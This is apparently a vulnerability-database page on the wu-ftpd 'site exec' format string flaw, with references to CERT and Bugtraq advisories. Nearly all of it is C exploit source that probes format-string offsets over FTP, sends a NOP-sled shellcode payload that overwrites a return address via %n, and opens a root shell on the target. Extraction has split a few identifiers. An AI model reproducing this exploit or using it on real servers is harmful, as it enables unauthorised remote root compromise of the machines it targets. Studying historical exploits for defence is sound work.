ans[2048]; snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f"); if( strstr( q, "\r\n") == NULL) { fprintf(stderr,"Line TOO big..\n"); exit(-1); } ftp_siteexec(sock, q, strlen(q), 1, ans, 2048); if( before_len+10 < strlen(&ans[3]) ) return 0; before_len=strlen(&ans[3]); (void)strcat(str,"%.f"); return 1; } int magic_check_o(int sock, char *str) { char q[2048], ans[2048]; snprintf(q, 2048, "site exec %s%s\r\n", str, "%c"); if( strstr( q, "\r\n") == NULL) { fprintf(stderr,"Line TOO big..\n"); exit(-1); } ftp_siteexec( sock, q, strlen(q), 1, ans, 2048); if( before_len== strlen(&ans[3]) ) { before_len+=1; (void)strcat(str, "%d"); return 3; } before_len=strlen(&ans[3]); (void)strcat(str,"%c"); return 2; } int magic_check_ok( int sock, char *str) { char q[2048], ans[2048]; int i ,n=1, f, padding=0; snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p"); if ( strstr(q, "\r\n" ) == NULL) { fprintf(stderr, "Line too long\n"); exit(-1); } (void)bzero(ans, 2048); ftp_siteexec(sock, q, strlen(q), 1, ans, 2047); if(strstr(ans,"0x61616161")==NULL) return 0; for(i =0; i < MAX_MAGIC && magic[i]; i++); magic_d[i]=4; while(n){ for(f=0; f< 2; f++) { snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p"); (void)bzero(ans, 2048); ftp_siteexec(sock, q, strlen(q), 1, ans, 2047); if( strstr(ans, "0x61616161")!=NULL) { if (f==0) { magic[i]=padding; return 1; } else if( f==1) { strcat(str,"%p"); magic[i]=padding; return 1; } } } if(padding > 4) { fprintf(stderr,"Cannot calculate padding..\n"); exit(1); } padding++; } return 1; } int magic_digger(int sock) { int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0; if(magic_str==NULL){ if((magic_str=(char*)malloc(4092))==NULL){ perror("malloc"); exit(errno); } } (void)bzero(magic_str, 4092); where=0; while(get_out) { int q; if( where >= MAX_MAGIC-1 || all_failed <= 0 ) return -1; if( magic_check_f(sock, magic_str) ) { o=0,f++; if(f==1){ if(!magic[where]) magic[where]=1; else magic[++where]+=1; magic_d[where]=1; } else magic[where]+=1; all_failed=MAX_FAILED*2; printf("%s", "%.f"); fflush(stdout); goto verify; } all_failed--; if((q=magic_check_o(sock,magic_str))){ f=0,o++; if(o==1){ if(!magic[where]) magic[0]=1; else magic[++where]+=1; magic_d[where]=q; } else { if(magic_d[where]==q) magic[where]+=1; else { magic[++where]=1; magic_d[where]=q; } } all_failed=MAX_FAILED*2; printf("%s", q==2?"%c":"%d"); fflush(stdout); goto verify; } all_failed--; continue; verify: if(magic_check_ok(sock,magic_str)){ putchar('\n'); return 0; } } return 0; } int main(int argc, char *argv[]){ char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode; int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0; u_long ret_addr=0, pass_addr=0; for(i=0;targ[i].os_descr!=NULL;i++); while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF){ switch(c) { case 't': target=optarg;break; case 'l': username=optarg; passwd=strchr(optarg,'/'); if(passwd==NULL) usage(argv[0],0); *passwd++=(char)0; break; case 'x': testmode=1; break; case 'o': offset=atoi(optarg);break; case 'p': pass_addr=strtoul(optarg, &optarg,16); break; case 'g': gm=1; break; case 'M': dir=optarg;mtype=1;break; case 'm': { int where=0; if(!*optarg) { fprintf(stderr,"-m requires argument, try -h for help\n"); exit(1); } while(1) { magic[where]=strtoul(optarg,&optarg,16); optarg=strchr(optarg,','); if(optarg==NULL){ printf("comma missing\n"); exit(1); } optarg++; magic_d[where++]=strtoul(optarg,&optarg,16); if(strchr(optarg,':')==NULL){ magic[where]=magic_d[where]=0; break; } optarg=strchr(optarg,':'); optarg++; } } break; case 's': num=atoi(optarg); if(num>i) { fprintf(stderr,"systype too big, try -h for help\n"); exit(1); } break; case 'r': ret_addr=strtoul(optarg,&optarg,16); break; case 'P': padding=atoi(optarg); break; case 'H': bla=2; default: usage(argv[0],bla);break; } } if(target==NULL){ fprintf(stderr,"No target specified, try -h for help\n"); exit(1); } if(num==-1||num==-2) { for(i=0;!targ[i].def;i++); num=i; } (void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets)); if(magic[1]!=0) { memcpy((void*)getit.magic,magic,sizeof(magic)); memcpy((void*)getit.magic_d,magic_d,sizeof(magic)); } if(ret_addr)getit.addr_ret_addr=ret_addr; if(pass_addr)getit.pass_addr=pass_addr; getit.addr_ret_addr+=(offset*4); sock=connect_to_server(target); memset(shellcode, '\x90', sizeof(shellcode)); shellcode[sizeof(shellcode)-1]=(char)0; if(!mtype){ memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1); shellcode[sizeof(shellcode)-1]=(char)0; }else{ memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode)); shellcode[250-1]=(char)0; } printf("Target: %s (%s/%s): %s\n",target,username,*passwd=='\x90'?"<shellcode>":passwd,getit.os_descr); printf("Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %d\n\n",getit.pass_addr,getit.addr_ret_addr,strlen(getit. shellcode)); buff=(char *)malloc(1024); bzero(buff,1024); (void)ftp_recv(sock,NULL,0,1); (void)ftp_login(sock,username,passwd); if(gm||(magic_str==NULL&&getit.magic[0]==0)){ printf("STEP 2A: Generating magic string: "); fflush(stdout); magic_digger(sock); memcpy((void *)getit.magic,(void*)magic,sizeof(magic)); memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d)); printf("STEP 2B: MAGIC STRING: ["); } else { printf("STEP 2 : Skipping, magic number already exists: ["); } for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){ printf("%02X,%02X",getit.magic[i],getit.magic_d[i]); if(getit.magic[i+1]!=0) putchar(':'); } printf("]\n"); buff=(char *)realloc(buff, 4092); (void)bzero(buff, 4092); if(mtype) ftp_mkchdir(sock,dir,shellcode); printf("STEP 3 : Checking if we can reach our return address by format string\n"); if(!magic_str){ magic_str=(char*)malloc(2048); if(magic_str==NULL) { perror("malloc"); exit(errno); } (void)bzero(magic_str,2048); for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){ switch(getit.magic_d[i]) { case 1: for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%.f"); break; case 2: for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%c"); break; case 3: for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%d"); break; case 4:if(padding<0)padding=getit.magic[i];break; default:fprintf(stderr,"STEP 3: INternal error\n"); exit(1); break; } } } if(padding<0){ for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++); if(num<(MAX_MAGIC-1)) padding=getit.magic[num]; else fprintf(stderr,"WARNING: PROBLEMS WITH PADDING\n"); } if(!getit.islinux){ if(!testmode) snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr ),magic_str,"%p"); else snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),ma gic_str,"%p"); } else { if(!testmode) snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_ addr),magic_str,"%p"); else snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr ),magic_str,"%p"); } sleep(getit.delay); fflush(stdout); if((buff_p=(char *)malloc(4096))==NULL){ fprintf(stderr,"malloc failed.\n"); exit(1); } (void)bzero(buff_p,4096); ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095); if((buff_p2=strchr(buff_p,'\r'))!=NULL) *buff_p2=(char)0; if((buff_p2=strchr(buff_p,'\n'))!=NULL) *buff_p2=(char)0; buff_p2=strstr(buff_p,"|0x"); if(buff_p2==NULL){ fprintf(stderr,"Fix me, incorrect response from '%%p':%s\n",buff_p); exit(1); } buff_p2+=3; if(!testmode) printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.addr_ret_addr); else printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.pass_addr); sleep(getit.delay); buff_p2=strstr(buff, "%.f"); *buff_p2++=(char )0; strcpy(buff_p, buff); if(!testmode) sprintf(buff_p+strlen(buff_p),"%s%u%c","%d%.",(u_int)getit.pass_addr,'d'); else sprintf(buff_p+strlen(buff_p),"%s","%d%d"); strcpy(buff_p+strlen(buff_p), buff_p2); buff_p2=strchr(buff_p,'|'); buff_p2++; printf("STEP 5 : Sending code.. this will take about 10 seconds.\n"); if(!testmode){ strcpy(buff_p2,"%n\r\n"); ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0); } else { (void)bzero(buff,4096); strcpy(buff_p2,"%s\r\n"); ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092); printf("got answer: %s\n",buff); exit(0); } free(buff_p); free(buff); signal(SIGINT, SIG_IGN); signal(SIGHUP, SIG_IGN); printf(RED"Press ^\\ to leave shell"NORM"\n"); process_possibly_rooted(sock); return 0; }

Products Mentioned

Configuraton 0

Hp>>Hp-ux >> Version 11.00

References

http://www.cert.org/advisories/CA-2000-13.html
Tags : third-party-advisory, x_refsource_CERT
http://marc.info/?l=bugtraq&m=96299933720862&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.redhat.com/support/errata/RHSA-2000-039.html
Tags : vendor-advisory, x_refsource_REDHAT
http://marc.info/?l=bugtraq&m=96171893218000&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/bid/1387
Tags : vdb-entry, x_refsource_BID
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-2000.02
Tags : third-party-advisory, x_refsource_AUSCERT
http://marc.info/?l=bugtraq&m=96179429114160&w=2
Tags : mailing-list, x_refsource_BUGTRAQ